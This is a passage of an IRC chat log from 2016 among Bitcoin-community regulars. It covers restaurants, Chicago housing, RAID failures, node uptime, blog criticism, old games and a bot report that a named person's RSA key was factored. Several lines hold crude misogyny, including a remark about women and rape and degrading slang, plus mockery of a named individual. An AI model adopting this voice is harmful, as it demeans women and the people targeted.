cost on women than on men, to begin with. 1472130;1464219280;asciilifeform;who went 'lol, cpt obvious' 1472131;1464219289;mircea_popescu;why is she not actually here anyway ? 1472132;1464219302;asciilifeform;can't be arsed 1472133;1464219366;mircea_popescu;and to delve into mircea_popescu> there's no way for mass market restaurant to compete with dedicated cook of your own training << tis not a matter of it being you know, the evil capitalist being mean and bad for the evulz. it's that they fucking can't. period. girl can, and will, and does make mayo out of eggs and olive oil. how the fuck is 3 man restaurant to do this ? they can't do this. they have to buy it. 1472134;1464219383;mircea_popescu;how am i to not know the difference, immediately, between one or the other ? it simply can not be. 1472135;1464219410;mircea_popescu;it's the denied middle, like chips in runs of 50`000. you can have 1000. you can have 1mn. you can't have a fucking 50k. 1472136;1464219618;asciilifeform;just like you cannot pay for, e.g., adacoin. 1472137;1464219629;asciilifeform;it dun happen for fee 1472138;1464219710;mircea_popescu;which goes right back to the whole marriage thing. all the derps excited about how "woman loves to be raped" fail to comprehend that NOT BY YOU OMFG. yes, by that guy, to whom anything is allowed, he can piss on her shirt buttons and she'll save them in her secret girly jool box. what's that do for average joe. 1472139;1464219741;asciilifeform;for avgjoe -- wagner, cyanide ?? 1472140;1464219750;mircea_popescu;how about just settling the fuck down. 1472141;1464219766;asciilifeform;on what? stake? 1472142;1464219770;mircea_popescu;this is the trouble with "modern democracy"-es throughout history, they overinnervate the average joe. it's like amphetamine on a historical scale. 1472143;1464219775;mircea_popescu;have some tea and go to bed what! 1472144;1464219819;asciilifeform;this 'settle down' isn't actually a menu item no moar 1472145;1464219827;mircea_popescu;that's unfortunate. 1472146;1464219848;asciilifeform;yeah but when you goto bed, you - usually - wake up again. 1472147;1464219862;asciilifeform;thenwhat! 1472148;1464219866;mircea_popescu;i just meant settle down in the general sense ; they're kids that ate too much sugary goop. 1472149;1464219891;asciilifeform;who exactly ? 1472150;1464220026;mircea_popescu;these dudes/dudettes figuring "they should change the world" or w/e the fuck they're figuring, i have no idea. average joe on a mission of ruining his own life because too much tv. 1472151;1464220082;asciilifeform;fact is, everyone knows 1) meaningful life exists 2) but entirely out of reach for them, like alpha centauri 1472152;1464220116;mircea_popescu;3) mostly because they're too fucking agitated. 1472153;1464220155;mircea_popescu;a supercharged tachyon can traverse the whole galaxy and not find any matter to interact with. 1472154;1464220166;mircea_popescu;heck, if supercharged enough IT CAN EVEN GO TO 1880 and still nada. 1472155;1464220179;asciilifeform;young folks - who still have life in'em and not ready for wagner - are agitated, this is normal.. 1472156;1464220213;mircea_popescu;i don't think it is normal ; i think it was common, in america, in the 20th century. but not really otherwise. 1472157;1464220234;asciilifeform;and holyshitt is that a lift with a fucking ORGAN in it?! 1472158;1464220244;asciilifeform;wtf. 1472159;1464220295;pete_dushenski;money can't buy adacoin, but it can buy liftorgan 1472160;1464220312;asciilifeform;mircea_popescu: well yeah, 1880 street urchin or ru peasant sedated by malnutrition is 'calm' 1472161;1464220328;asciilifeform;they dunmakethesenomoar 1472162;1464220355;asciilifeform;pete_dushenski: sure as hell 1472163;1464220389;asciilifeform;i bet edison's original electric chair is in some restaurant here somewhere 1472164;1464220404;mircea_popescu;asciilifeform there's this epic exchange : http://trilema.com/2014/people-us-dollars-are-not-worth-a-fifth-of-a-bitcent-stop-selling/#footnote_1_55053 1472165;1464220410;mircea_popescu;who's scamming who, and for what ? 1472166;1464220413;asciilifeform;and visitors can sizzle in it for a minute for a dollar 1472167;1464220458;asciilifeform;mircea_popescu: epic aha 1472168;1464220478;mircea_popescu;seems the old guy's pushing the young guy to be agitated there. for profit. 1472169;1464220486;asciilifeform;the winnerz fuck the luserz, how else 1472170;1464220495;mircea_popescu;yeah but i meant the germane part. 1472171;1464220522;asciilifeform;yeah but no, nature pre-agitated him, koschei is only steering him 1472172;1464220526;asciilifeform;like horse. 1472173;1464220528;mircea_popescu;see, i can appreciate this "1880 street urchin or ru peasant sedated by malnutrition is 'calm'", except the first part is strictly incorrect ; and yet... there's a counter recorded also. 1472174;1464220535;mircea_popescu;maybe. 1472175;1464220551;mircea_popescu;but by now i suspect they're mostly artificially agitated. 1472176;1464220575;asciilifeform;asciilifeform is agitated since ~birth. who did this ? 1472177;1464220592;asciilifeform;just happenz 1472178;1464220623;asciilifeform;folx arr agitated for a few decades and then wagner. such is life 1472179;1464220630;mircea_popescu;http://btcbase.org/log/2016-05-25#1472069 1472180;1464220630;a111;Logged on 2016-05-25 22:58 mircea_popescu: ben_vulpes you understand, statistics says exactly nothing about the individual case. 1472181;1464220641;asciilifeform;sure. 1472182;1464223353;shinohai;http://thesmokinggun.com/documents/stupid/meth-burrito-border-bust-546397 <<< 10/10 would hide burrito 1472183;1464223935;mircea_popescu;in random intel of the day : http://www.marathon-studios.com/ in its own copy "Marathon Studios, Inc. manages a network of web properties, apps and services used by millions of people around the world every month. We specialize in creating clean, modern applications designed to help make the Web a more useful place for our visitors. ", but really the dba of one jonathan weber (in his own face http://www.marathon-studios.com/i 1472184;1464223935;mircea_popescu;mages/JonathanWeber.jpg ) does all sorts of ugc traps such as https://www.abuseipdb.com/sitemap which are basically dead in the water but deeply seo'd etc items, and even knows enough about bitcoin to solicit donations (0 interest so far however). 1472185;1464223951;mircea_popescu;youth, a wonderful thing. 1472186;1464224009;mircea_popescu;just like the new generation of cunny is "i love to watch netflix", the new generation of cocklet is, "computer security and i like to travel". post-postmodernity. 1472187;1464224457;mircea_popescu;"Stroudsburg resident and East Stroudsburg University junior Jonathan Weber, who founded eDentified People Search, was one of three award-winners for the ESU Innovator of the Year during the Greater Pocono Chamber of Commerce Bizzy Awards on Thursday night at the Chateau in Tannesville." 1472188;1464224464;mircea_popescu;the press page is altogether worth a read 1472189;1464224740;ben_vulpes;> 2012 1472190;1464224851;mircea_popescu;as alf says, agitation lasts a finite time. 1472191;1464225067;mircea_popescu;anyway, shot him an invite. curious if mine does as good as yours ben_vulpes >D 1472192;1464225085;mircea_popescu;(not that i have much hope.) 1472193;1464225328;mircea_popescu;and in other lolz, https://www.youtube.com/watch?v=uNR6CjwuyqQ 1472194;1464225336;mircea_popescu;joost euuhh! 1472195;1464225447;mircea_popescu;(chick won "teleorman spring" local talent contest in one of romania's poorest counties, coupla years back, been working for srs on her career hence.) 1472196;1464225913;asciilifeform;i think the floor above mine has golden toilets 1472197;1464225927;asciilifeform;... that mark twain shat in. 1472198;1464225965;mircea_popescu;moving to chic-ago alfie ? 1472199;1464225989;asciilifeform;lel not before i alchemy 1472200;1464226009;asciilifeform;i bet mircea_popescu knows what chicago costs.. 1472201;1464226066;ben_vulpes;mircea_popescu: response to an invite is one thing, utility to wot on an enduring basis entirely another. 1472202;1464226089;mircea_popescu;surely. 1472203;1464226162;*;ben_vulpes off, children to dandle and babes to fondle 1472204;1464226312;BingoBoingo; i bet mircea_popescu knows what chicago costs.. << $500 a month for apartment 1472205;1464226348;BingoBoingo;If you live among the polaks 1472206;1464226355;mircea_popescu;https://www.youtube.com/watch?v=eNrRfiCVkIw&t=14 << check out this fucktard, machine gun on a segway. 1472207;1464226771;asciilifeform;http://btcbase.org/log/2016-05-26#1472204 << lel, BingoBoingo actually thinks i'd fit in a $500 anything on whatever planet 1472208;1464226771;a111;Logged on 2016-05-26 01:31 BingoBoingo: i bet mircea_popescu knows what chicago costs.. << $500 a month for apartment 1472209;1464226807;mircea_popescu;i think i showed you the grated concrete hole 1472210;1464226824;asciilifeform;aha! i miss it still 1472211;1464226832;asciilifeform;the one in ro 1472212;1464226849;asciilifeform;with the rubbish 1472213;1464226858;mircea_popescu;no, the one on tumblr, with the girl. 1472214;1464226868;asciilifeform;oh hmm? 1472215;1464226897;mircea_popescu;too lazy to dig for it. 3 x 3 x 3 foot hole in concrete with a grating over it. 1472216;1464226915;asciilifeform;oubliette? 1472217;1464226924;mircea_popescu;no, $500 apt 1472218;1464226933;asciilifeform;lel! 1472219;1464226967;asciilifeform;btw we call them 'stone sack' in ru for some reason 1472220;1464227003;mircea_popescu;https://twitter.com/callcutewhore << possibly the world's most obscure not-actually-terrible band 1472221;1464227013;BingoBoingo;asciilifeform: A whole warehouse of 1880's vintage can't be too expensive 1472222;1464227031;asciilifeform;BingoBoingo: maxint 1472223;1464227055;asciilifeform;the cheapest warehouse in usa is still > what my organs are worth. 1472224;1464227080;BingoBoingo;asciilifeform: Look https://chicago.craigslist.org/nwi/off/5579045755.html 1472225;1464227131;asciilifeform;BingoBoingo: that dun look livable 1472226;1464227146;BingoBoingo;What part of that is not liveable? 1472227;1464227153;asciilifeform;makes mircea_popescu's oubliette look appealing 1472228;1464227165;BingoBoingo;950 square feet and lots of land for intermodal containers on the lot 1472229;1464227175;asciilifeform;BingoBoingo: dunno, the cardboard walls, the glass ? 1472230;1464227211;BingoBoingo;Look alf leaving the swamp has a price 1472231;1464227211;mircea_popescu;BingoBoingo actually i'm moderately surprised alf's preferred mode isn't actually intermodal containers. including a set of containers containing robotrs that make containers and so on. 1472232;1464227217;BingoBoingo;seriously 1472233;1464227219;asciilifeform;them wallz won't stop ak round 1472234;1464227227;mircea_popescu;i'd have expected by the time he's 35 he's built himself a self-expanding "house" and set it out in arizona or w/e 1472235;1464227235;mircea_popescu;asciilifeform depends how many of them. 1472236;1464227241;asciilifeform;mircea_popescu: costs maxint to heat'em 1472237;1464227248;asciilifeform;them being iron 1472238;1464227253;mircea_popescu;over 5 years your compound could have grown to 10mn containers and exponentially from there. 1472239;1464227266;asciilifeform;in arizona - cooling 1472240;1464227272;asciilifeform;also maxint 1472241;1464227273;mircea_popescu;asciilifeform think in terms of websites. they just build themselves. 1472242;1464227288;mircea_popescu;just need iron / oil rich soil. 1472243;1464227303;mircea_popescu;eventually build your own nuke plant... out of cointainers... 1472244;1464227306;mircea_popescu;lego for adults. 1472245;1464227306;BingoBoingo;Look at all $800 can rent, can you see? https://chicago.craigslist.org/chc/off/5600885470.html 1472246;1464227318;asciilifeform;asciilifeforms live at 21 c 1472247;1464227330;asciilifeform;or they melt 1472248;1464227364;BingoBoingo;$1500, Can you see? https://chicago.craigslist.org/chc/off/5574444341.html 1472249;1464227378;asciilifeform;BingoBoingo: i see orc ac 1472250;1464227383;asciilifeform;ick 1472251;1464227403;BingoBoingo;And swamp is better? 1472252;1464227431;asciilifeform;that last one looks interesting 1472253;1464227457;asciilifeform;what happens when city halls finds out that somebody lives in industrial zoned addr? 1472254;1464227469;asciilifeform;prolly problemz 1472255;1464227493;BingoBoingo;NO, Industrial zoning allows all less restricted activities including normal commerce and residential use. 1472256;1464227516;BingoBoingo;Seriously, never heard of an manager living onsite? 1472257;1464227538;asciilifeform;but yeah BingoBoingo these are all riotously cheaper than my humble castle asciilifeformenstein 1472258;1464227558;BingoBoingo;Right, because not on fucking bezzel coast 1472259;1464227596;asciilifeform;i would like to know why the diff 1472260;1464227641;asciilifeform;i suspect that it is because chicago is not expected to last long when the lafondocalypse 1472261;1464227692;BingoBoingo;Well, Chicago also has land to sprawl on 1472262;1464227697;asciilifeform;https://scottlocklin.wordpress.com/2016/05/26/numeric-linear-algebra-code-an-appreciation << unrelated but quite interesting 1472263;1464227710;BingoBoingo;Whereas entire coast is full. 1472264;1464227773;BingoBoingo;Seriously what is 40 miles from alf castle? moar cities. 40 miles from Chicago? exurbs filtering out to nothingness. 1472265;1464227831;asciilifeform;dc has those also 1472266;1464227837;asciilifeform;i live in one 1472267;1464227897;BingoBoingo;Right, but what is out from the DC exurbs? Chicago exurbs literally lead out to nothing. 1472268;1464227939;BingoBoingo;How far from DC do you need to be for Corn? 1472269;1464227962;asciilifeform;hour or so 1472270;1464227990;BingoBoingo;And is that hour drive Corn in EVERY direction? 1472271;1464227999;asciilifeform;nope 1472272;1464228003;BingoBoingo;And 3 hours out still corn in EVERY direction? 1472273;1464228020;BingoBoingo;And 5 hours out Corn and city in 1 Direction? 1472274;1464228030;asciilifeform;3h east puts you in ocean 1472275;1464228104;BingoBoingo;AHA, but how much do people pay for ocean going residence? 1472276;1464228124;asciilifeform;maxint 1472277;1464228591;asciilifeform;ah at last actual computer. 1472278;1464228730;asciilifeform;mircea_popescu around ? 1472279;1464228733;mircea_popescu;he's right on that score, all industrial means is you can't rent for higher purpose. 1472280;1464228739;asciilifeform;ah theeeere he is 1472281;1464228743;mircea_popescu;hola! 1472282;1464228751;asciilifeform;time to switch off dulap ? 1472283;1464228759;mircea_popescu;castle asciiformfenstein ? nb. 1472284;1464228804;mircea_popescu;sure go ahead. 1472285;1464228873;mircea_popescu;heh look at that, locklin includes bitcoin the keyword in an attempt to stay buzzy. 1472286;1464228891;asciilifeform;farewell 136+ day trb uptime 1472287;1464228900;asciilifeform;^ record afaik ^ 1472288;1464228903;mircea_popescu;hey, at least this time you got warning. 1472289;1464228919;asciilifeform;~7G ram footprint at the end. 1472290;1464228949;asciilifeform;btw, mircea_popescu , no raid barf in the machine log 1472291;1464228962;mircea_popescu;heh. what can i tell ya. 1472292;1464228997;asciilifeform;anyway it's off now. 1472293;1464229067;asciilifeform;btw i have no means of turning the thing back on personally. 1472294;1464229070;mircea_popescu;did you actually probe the controller ? 1472295;1464229089;asciilifeform;not as such, just examined the system log 1472296;1464229097;asciilifeform;and saw none of the characteristic spew 1472297;1464229099;mircea_popescu;ah 1472298;1464229103;asciilifeform;of a dying drive. 1472299;1464229117;mircea_popescu;you mean of a spindle drive ? 1472300;1464229123;asciilifeform;of whatever kind. 1472301;1464229133;asciilifeform;i keep raid at home, recall. 1472302;1464229140;asciilifeform;and elsewhere 1472303;1464229150;mircea_popescu;sure. 1472304;1464229164;asciilifeform;(build spiffy raid from ssd, which 'yer not supposed to!1111' just recently.) 1472305;1464229170;asciilifeform;*built 1472306;1464229188;asciilifeform;staggered over months 1472307;1464229196;mircea_popescu;and your ssd raid arrays fail with spew in the system log ? 1472308;1464229200;asciilifeform;so as to prevent the common 'all dead together' 1472309;1464229210;asciilifeform;mircea_popescu: aha, i use only hardware raid 1472310;1464229219;mircea_popescu;mine usually just go "running into last 10% of magic space, change this pos plox" 1472311;1464229230;asciilifeform;which logs any and all incidents of 'write x but read back y' 1472312;1464229257;mircea_popescu;i've never seen that in a ssd. it's either "low spare" or else bricked. 1472313;1464229265;asciilifeform;ah see if i get even 1 'wrote x but read y' drive is dropped and hotspare is turned on 1472314;1464229268;mircea_popescu;admittedly not that many failures altogether. 1472315;1464229297;asciilifeform;and 'read nuffin' because drive is brick' falls under this condition 1472316;1464229388;asciilifeform;http://btcbase.org/log/2016-05-26#1472285 << i still hold that locklin's whipping at mircea_popescu's hands was wholly undeserved 1472317;1464229388;a111;Logged on 2016-05-26 02:14 mircea_popescu: heh look at that, locklin includes bitcoin the keyword in an attempt to stay buzzy. 1472318;1464229397;asciilifeform;and there is nothing 'buzzy' about the fella 1472319;1464229402;asciilifeform;he writes 2-3 posts a year 1472320;1464229414;asciilifeform;about - without exception - intelligent and rare things 1472321;1464229416;mircea_popescu;hey, there's two of us, you read yours i read mine. 1472322;1464229426;asciilifeform;eh sure. 1472323;1464229443;mircea_popescu;i fail to see what's intelligent in this so far. maudlin spuriosities about stuff ~I~ know about, and i'm so much a "computer dork" as i'm a fighter pilot. 1472324;1464229599;mircea_popescu;anyway, the fucking obvious reason why c decided to be row-major is because the screen flows top to bottom not left to right. 1472325;1464229616;mircea_popescu;for all the wankery & assorted namedropping for no useful purpose, he might FUCKING KNOW THIS MUCH. 1472326;1464229840;mircea_popescu;oddly, "no updates since 2014" stands against libflame, but not against lapack/blas. which was last updated in 1974. 1472327;1464229903;asciilifeform;ditto macsyma 1472328;1464229918;asciilifeform;phun phakt, i actually put motherfucking macsyma to use at rupturefarmz 1472329;1464229927;asciilifeform;it beat the shit out of 'modern' algebratrons 1472330;1464229943;mircea_popescu;anyway, the marginal point here is that yes, sooner or later - and likelyt sooner than i'd like - we'll end up havign to tmsr this stupid shit also. 1472331;1464229959;mircea_popescu;and ada will be epic for the purpose. 1472332;1464229962;asciilifeform;hey i started tmsring it before there was tmsr. 1472333;1464229979;asciilifeform;and it is quite pointless to do symbolic algebra in anything other than a lisp. 1472334;1464229986;asciilifeform;(ada is quite ok for writing lisps in) 1472335;1464229991;mircea_popescu;heh. 1472336;1464230031;mircea_popescu;and the supersecret future plan of factory -> vsli -> ada -> lisp -> scheme / numeric algebra / stuff is busted open by careless accidental coversations in a public channel 1472337;1464230055;mircea_popescu;we totally have to introduce a secrecy system because look how well it worked for the usgistans. 1472338;1464230126;mircea_popescu;anyway. wank, a locklin stock in trade (tm). moving on. 1472339;1464230281;asciilifeform;to me algebratron is ~half the point of even MAKING computer at all. 1472340;1464230916;asciilifeform;http://btcbase.org/log/2016-05-25#1471730 << ahahaha but mircea_popescu told us that there were no lizardrothchildswhoalwaysruled!111111 1472341;1464230916;a111;Logged on 2016-05-25 19:20 pete_dushenski: ave already been at the top of the socioeconomic ladder six centuries ago. This persistence is identified despite the huge political, demographic, and economic upheavals that occurred between the two dates.' 1472342;1464230993;asciilifeform;http://btcbase.org/log/2016-05-25#1471749 << what is it with folks doing that. how is the problem not obvious..? 1472343;1464230993;a111;Logged on 2016-05-25 20:06 vc: https://keybase.io/hacker 1472344;1464231004;asciilifeform;am i thick or what. 1472345;1464231082;asciilifeform;http://btcbase.org/log/2016-05-25#1471909 << what in this case is 'very weird' ? 1472346;1464231082;a111;Logged on 2016-05-25 20:44 mircea_popescu: listen, romanian tv exists ~ for a single reason : so a group of like minded twentysomething chicks can advertise they're available. goes ~500 bucks unless you're very weird. 1472347;1464231114;asciilifeform;(what would 500 bux get me?) 1472348;1464231164;asciilifeform;http://btcbase.org/log/2016-05-25#1471942 << 8 unless you like babysitting the box 1472349;1464231164;a111;Logged on 2016-05-25 21:07 mircea_popescu: it requires ssd ; and about 3gb ram 1472350;1464231174;asciilifeform;4 will stay up for ~month. 1472351;1464231227;asciilifeform;(yeah can reboot in cron job, and curse my name every time) 1472352;1464231254;asciilifeform;http://btcbase.org/log/2016-05-25#1471951 << pretty sure current rotor builds just about anywhere 1472353;1464231254;a111;Logged on 2016-05-25 21:08 mircea_popescu: (it mostly builds without problems via V) 1472354;1464231267;asciilifeform;(somebody - phf? even has bsd build) 1472355;1464231367;asciilifeform;http://btcbase.org/log/2016-05-25#1472028 << we had >1 ted nelson thread here, Framedragger. dig in the logz.. 1472356;1464231367;a111;Logged on 2016-05-25 22:05 Framedragger: The Web trivialized this original Xanadu model, vastly but incorrectly simplifying these problems to a world of fragile ever-breaking one-way links, with no recognition of change or copyright, and no support for multiple versions or principled re-use. Fonts and glitz, rather than content connective structure, prevail.""" <- sorry i get sentimental easily :/ 1472357;1464231381;*;asciilifeform owns the man's complete printed crackpot worx 1472358;1464231517;mod6;i have an openbsd with some custom patches and tweaks. 1472359;1464231551;mod6;built with 'stator' 1472360;1464231580;asciilifeform;bsd never had glibcism and doesn't really need rotorization 1472361;1464231863;*;asciilifeform bbl 1472362;1464234151;asciilifeform;.... if i were more than theoretically movable, i would consider moving here. it is spiffy 1472363;1464234182;asciilifeform;but if my current gig goes south for some reason, it's back to butugychag. 1472364;1464234254;asciilifeform;this is the diff between real folx like mircea_popescu , and indentured wretches 1472365;1464234266;asciilifeform;well, ONE diff 1472366;1464234299;asciilifeform;i dun have a reactor, just a very long cord. that is liable to shorten whenever. 1472367;1464234353;asciilifeform;i had cords this long before. 1472368;1464234362;deedbot;[» Contravex: A blog by Pete Dushenski] Why The National is (and Augusta National was) a men-only private golf club. - http://www.contravex.com/2016/05/25/why-the-national-is-and-augusta-national-was-a-men-only-private-golf-club/ 1472369;1464234371;asciilifeform;but a cord is still a cord, can be pulled on. 1472370;1464234465;asciilifeform;pete's son plays gold already?! 1472371;1464234470;asciilifeform;golf 1472372;1464234475;asciilifeform;grrrrrr 1472373;1464234539;asciilifeform;i'm still not convinced that golf is actual game, vs weird status cargocult thing 1472374;1464234568;asciilifeform;(and in my last days at rupturefarms i even played once) 1472375;1464234740;mircea_popescu;darn 1472376;1464234752;asciilifeform;http://btcbase.org/log/2016-05-26#1472279 << this is elementary! if it were practical to live there without growing 'problems', folks WOULD live there, and it would cost what a massive residential flat costs. 1472377;1464234752;a111;Logged on 2016-05-26 02:12 mircea_popescu: he's right on that score, all industrial means is you can't rent for higher purpose. 1472378;1464234805;mircea_popescu;http://btcbase.org/log/2016-05-26#1472340 << if your daughter gets married to phf and has kids with p diddy, what exactly has "alwaysruled" ? you ? 1472379;1464234805;a111;Logged on 2016-05-26 02:48 asciilifeform: http://btcbase.org/log/2016-05-25#1471730 << ahahaha but mircea_popescu told us that there were no lizardrothchildswhoalwaysruled!111111 1472380;1464234822;asciilifeform;dynasty did 1472381;1464234825;mircea_popescu;bullshit. 1472382;1464234834;mircea_popescu;dinasty of what, cuckoos ? 1472383;1464234836;asciilifeform;i didn't mean same physical people, no 1472384;1464234861;mircea_popescu;you didn't mean anything ; it's all expostfacto. "the people that turn out to be we'll call the people that will turn out to be and win" 1472385;1464234883;asciilifeform;[insert the swift thread here] 1472386;1464234893;mircea_popescu;yes, women are wired to survive and deliver ; and they do. if this is "dynasty", lucy is the original lizard. 1472387;1464234898;asciilifeform;see mircea_popescu i try to save the readerz time!1111 1472388;1464234904;mircea_popescu;:p 1472389;1464234929;*;asciilifeform drinking in some random tavern 1472390;1464234939;mircea_popescu;http://btcbase.org/log/2016-05-26#1472329 << i am surprised. next you're gonna tell me old dos games beat ipad offerings. 1472391;1464234939;a111;Logged on 2016-05-26 02:32 asciilifeform: it beat the shit out of 'modern' algebratrons 1472392;1464234956;mircea_popescu;darned luddite! 1472393;1464234966;asciilifeform;did we do 'derive' at some point 1472394;1464234971;asciilifeform;iirc we did 1472395;1464234979;asciilifeform;5timez. 1472396;1464234998;mircea_popescu;http://btcbase.org/log/2016-05-26#1472344 << i'm giving the benefit of "i never spent much time thinking about this". 1472397;1464234998;a111;Logged on 2016-05-26 02:50 asciilifeform: am i thick or what. 1472398;1464235069;mircea_popescu;http://btcbase.org/log/2016-05-26#1472345 << wanting her to go on cam ; or to beat you up ; or to actually learn things / put effort in. that'd be the top three i guess. 1472399;1464235069;a111;Logged on 2016-05-26 02:51 asciilifeform: http://btcbase.org/log/2016-05-25#1471909 << what in this case is 'very weird' ? 1472400;1464235100;asciilifeform;aaah 1472401;1464235186;mircea_popescu;though in fairness doggedly loyal, intelligent and all around valuable chicks that otherwise never had a chance can be found. like anywhere, i guess. 1472402;1464235198;mircea_popescu;ie, if you're jesus, you can save ; lay your hands and do it. 1472403;1464235220;asciilifeform;noshit.jog 1472404;1464235224;mircea_popescu;jog ? 1472405;1464235224;asciilifeform;jpg 1472406;1464235229;mircea_popescu;toolate.scam 1472407;1464235229;asciilifeform;grr 1472408;1464235243;asciilifeform;i'm on toy comp 1472409;1464235254;asciilifeform;anyway jesi dun ask for recipes 1472410;1464235258;asciilifeform;they save aha 1472411;1464235264;mircea_popescu;erry man picks the tool that fits his hands alfie. 1472412;1464235326;asciilifeform;http://btcbase.org/log/2016-05-26#1472401 << i have one of these athome 1472413;1464235326;a111;Logged on 2016-05-26 03:59 mircea_popescu: though in fairness doggedly loyal, intelligent and all around valuable chicks that otherwise never had a chance can be found. like anywhere, i guess. 1472414;1464235339;asciilifeform;i dun expect to find 2nd tho 1472415;1464235345;asciilifeform;because where. 1472416;1464235351;mircea_popescu;1, 2, infinitits. 1472417;1464235362;asciilifeform;1, inf 1472418;1464235370;asciilifeform;one of these. 1472419;1464235380;mircea_popescu;i dunno, has she any friends ? 1472420;1464235388;asciilifeform;sorta. 1472421;1464235388;mircea_popescu;usually a good start. 1472422;1464235398;asciilifeform;the friends are..., 1472423;1464235408;asciilifeform;in, what did mircea_popescu call it 1472424;1464235417;asciilifeform;'femfanon' 1472425;1464235442;mircea_popescu;wow. how's she put up with you then ? 1472426;1464235478;asciilifeform;sorta doubleagent 1472427;1464235487;mircea_popescu;o.O 1472428;1464235493;mircea_popescu;wait, you or her ? 1472429;1464235505;asciilifeform;her 1472430;1464235514;mircea_popescu;said everyone ever. 1472431;1464235537;asciilifeform;aha! 1472432;1464235576;mircea_popescu;but yes, as every shot compatriot of yours could [have] attest[ed], double agents make the best lays. 1472433;1464235605;asciilifeform;anyway she likes reading and writing pr0n 1472434;1464235611;mircea_popescu;o.O 1472435;1464235635;mircea_popescu;anything we might be familiar with ? 1472436;1464235643;asciilifeform;nah 1472437;1464235706;asciilifeform;it is typically done in secret dens of vice 1472438;1464235710;mircea_popescu;porn writing might be the most authentic field of that art ; everywhere else those who aspire to fame far exceed those who enjoy the writing. 1472439;1464235718;asciilifeform;because 'fanfik' 1472440;1464235734;mircea_popescu;a SECRET den of vice is a contradiction in terms. like a chaste teenager. 1472441;1464235761;asciilifeform;i mean from civilianz 1472442;1464235832;mircea_popescu;i wonder what live literate female doesn't write sikrit pronz these days. 1472443;1464235846;asciilifeform;0 1472444;1464236208;mircea_popescu;mp says into the magic box "gimme a btctalk thread". magic box gives mp https://bitcointalk.org/index.php?topic=1273040.0;all 1472445;1464236215;mircea_popescu;mp is satisfied. holy shitsticks wtf. 1472446;1464236242;asciilifeform;what was that 1472447;1464236263;mircea_popescu;i have no idea. i think it's a financial discussion of alternate cryptocultencies. 1472448;1464236294;mircea_popescu;it even has a timecube scientists heaven thing. 1472449;1464236308;asciilifeform;magic box containing wom? 1472450;1464236317;mircea_popescu;magic! 1472451;1464236369;asciilifeform;yeah but magic with titz? 1472452;1464236399;mircea_popescu;usually. 1472453;1464236516;asciilifeform;the only magic there is!1111 imho. 1472454;1464236585;asciilifeform;all else is, to borrow from feinman, 'stamp collecting '... 1472455;1464238145;deedbot;[Recent Phuctorings.] Phuctored: 5152364623 divides RSA Moduli belonging to 'Todd A. Outten ; ' - http://phuctor.nosuchlabs.com/gpgkey/A07FCCF0D46AC8B25EB8F0982629537817E0CEA47BCC6C8B800A06F4F4647160 1472456;1464238189;mircea_popescu;o.O 1472457;1464238210;mircea_popescu;asciilifeform it's back up ?! 1472458;1464238249;mircea_popescu;anyway, asciilifeform : apparently "fales alarm", disks were fine :) 1472459;1464238258;asciilifeform;holy mother of fuq, hotel door has 2 eyeholes 1472460;1464238267;asciilifeform;2ft apart vertical 1472461;1464238269;mircea_popescu;for very drunk ppls ? 1472462;1464238279;asciilifeform;mircea_popescu: nsa happy with inspection? 1472463;1464238288;asciilifeform;for woms i assume 1472464;1464238338;mircea_popescu;well, you know how it is, anotha day anotha dollah. how's they supposed to find a gcd implementation, if they give some internal pm the task it'll be 5 years and $250 mn for a mostly working library consisting of a stolen 50% of the windows calculator. 1472465;1464238360;mircea_popescu;who knows, maybe someone at mit learned something today. 1472466;1464238678;asciilifeform;lol! 1472467;1464238714;asciilifeform;i suppose it is quite obvious to alert reader that ~anything on the box might now be silently corrupt 1472468;1464238729;asciilifeform;incl the blockchain 1472469;1464238734;mircea_popescu;unlikely ; what if you check and find it. but anyway, go check. 1472470;1464238742;asciilifeform;check == rebuild. 1472471;1464238747;asciilifeform;effortwise. 1472472;1464238749;mircea_popescu;bin diff takes half hour. you got backups right 1472473;1464238755;asciilifeform;well sure 1472474;1464238759;mircea_popescu;sothen 1472475;1464238762;asciilifeform;but not bitwise backups 1472476;1464238766;asciilifeform;just logical ones 1472477;1464238772;mircea_popescu;eh. 1472478;1464238774;asciilifeform;(i.e. the keyz) 1472479;1464238789;mircea_popescu;... 1472480;1464238793;mircea_popescu;you keep shitty backups. 1472481;1464238801;mircea_popescu;start rsyncing the /home already. 1472482;1464238801;asciilifeform;backing up db in real time would require another box of the same class! 1472483;1464238804;asciilifeform;where am i to get it. 1472484;1464238825;asciilifeform;do you have any idea what is involved in replicating db in anything like real time without bringing down the box. 1472485;1464238852;mircea_popescu;eh real time ; stop with all these star-wars designs. 1472486;1464238858;mircea_popescu;we're dealing with a bunch of lazy idiots. 1472487;1464238858;asciilifeform;http://btcbase.org/log/2016-05-26#1472455 << seems like it's alive... 1472488;1464238858;a111;Logged on 2016-05-26 04:49 deedbot: [Recent Phuctorings.] Phuctored: 5152364623 divides RSA Moduli belonging to 'Todd A. Outten ; ' - http://phuctor.nosuchlabs.com/gpgkey/A07FCCF0D46AC8B25EB8F0982629537817E0CEA47BCC6C8B800A06F4F4647160 1472489;1464238869;asciilifeform;kerner ! 1472490;1464238869;mircea_popescu;put some cow spokes here and there. 1472491;1464238877;asciilifeform;who played 'indiana jones in atlantis' !! 1472492;1464238894;mircea_popescu;i did o.O 1472493;1464238894;asciilifeform;the one with the ascension to godhood machine. 1472494;1464238899;asciilifeform;ahaha so then ! 1472495;1464238905;mircea_popescu;oricalcum beads. not bad quest game either. 1472496;1464238908;asciilifeform;aha! 1472497;1464238924;mircea_popescu;imo better than dota and that sorta shit 1472498;1464238928;asciilifeform;i obsessively exhausted every corner of that thing. 1472499;1464238930;mircea_popescu;(the original dota, day of the tentacle) 1472500;1464238938;asciilifeform;i liked dota also 1472501;1464238953;mircea_popescu;i didn't much care for it. 1472502;1464238985;mircea_popescu;i had no fucking idea why, then. nor really cared to examine the matter. but today, looking back at it, seems to me their inept sjw style of faux "creativity" didn't sit well with me. 1472503;1464238990;asciilifeform;hm we can infer that 8ball resume also worx 1472504;1464238991;asciilifeform;! 1472505;1464238992;mircea_popescu;fancy that level of organised crazy 1472506;1464239010;asciilifeform;btw on airplane i realized that we can speed up 8baller 10-100x. 1472507;1464239015;asciilifeform;with certain optimization 1472508;1464239017;mircea_popescu;o.O 1472509;1464239018;mircea_popescu;nb. 1472510;1464239019;asciilifeform;but it will have a price. 1472511;1464239033;mircea_popescu;i guess part of that price being that the raid's gonna malfunction again next week ? 1472512;1464239035;asciilifeform;which is that we will bring nearer the day when the damn thing weighs more than we can lift 1472513;1464239042;asciilifeform;i already had to make the interval 2h 1472514;1464239045;asciilifeform;instead of 1 1472515;1464239046;mircea_popescu;that's not so much of a price. 